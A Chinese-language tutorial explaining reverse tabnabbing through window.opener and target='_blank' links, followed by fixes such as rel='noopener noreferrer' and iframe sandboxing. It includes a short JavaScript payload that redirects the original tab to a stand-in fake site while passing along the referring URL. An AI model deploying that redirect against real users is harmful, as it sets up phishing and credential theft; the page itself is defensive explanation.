💎一站式轻松地调用各大LLM模型接口,支持GPT4、智谱、星火、月之暗面及文生图 广告
## 一、opener与parent 在说 opener 之前,可以先聊聊 ```<iframe>``` 中的 parent。 我们知道,在 ```<iframe>``` 中提供了一个用于父子页面交互的对象,叫做 window.parent,我们可以通过 window.parent 对象来从框架中的页面访问父级页面的 window。 opener 与 parent 一样,只不过是用于 ```<a target="_blank">``` 在新标签页打开的页面的。通过 ```<a target="_blank">``` 打开的页面,可以直接使用 window.opener 来访问来源页面的 window 对象。 ## 二、同域与跨域 浏览器提供了完整的跨域保护,在域名相同时,parent 对象和 opener 对象实际上就直接是上一级的 window 对象;而当域名不同时,parent 和 opener 则是经过包装的一个 global 对象。这个 global 对象仅提供非常有限的属性访问,并且在这仅有的几个属性中,大部分也都是不允许访问的(访问会直接抛出 DOMException)。 在 ```<iframe>``` 中,提供了一个 sandbox 属性用于控制框架中的页面的权限,因此即使是同域,也可以控制 ```<iframe>``` 的安全性。 ## 三、漏洞 如果,你的网站上有一个链接,使用了 target="_blank",那么一旦用户点击这个链接并进入一个新的标签,新标签中的页面如果存在恶意代码,就可以将你的网站直接导航到一个虚假网站。此时,如果用户回到你的标签页,看到的就是被替换过的页面了。 ## 四、步骤 1、在你的网站 https://example.com 上存在一个链接: ``` <a href="https://an.evil.site" target="_blank">进入一个“邪恶”的网站</a> ``` 2、用户点击了这个链接,在新的标签页打开了这个网站。这个网站可以通过 HTTP Header 中的 Referer 属性来判断用户的来源。 并且,这个网站上包含着类似于这样的 JavaScript 代码: ``` const url = encodeURIComponent('{{header.referer}}'); window.opener.location.replace('https://a.fake.site/?' + url); ``` 3、此时,用户在继续浏览这个新的标签页,而原来的网站所在的标签页此时已经被导航到了 https://a.fake.site/?https%3A%2F%2Fexample.com%2F。 4、恶意网站 https://a.fake.site 根据 Query String 来伪造一个足以欺骗用户的页面,并展示出来(期间还可以做一次跳转,使得浏览器的地址栏更具有迷惑性)。 5、用户关闭 https://an.evil.site 的标签页,回到原来的网站………………已经回不去了。 ## 五、解决方案 1、iframe ```<iframe>``` 使用 sandbox 属性 2、a标签 ``` <a href="https://an.evil.site" target="_blank" rel="noopener noreferrer nofollow">进入一个“邪恶”的网站</a> ``` * noopener:不收录到window.opener * noreferrer:不暴露到HTTP Header Referer * nofollow:不追踪 **noopener兼容:** ``` "use strict"; function openUrl(url) { var newTab = window.open(); newTab.opener = null; newTab.location = url; } ``` 参考: https://segmentfault.com/a/1190000016421263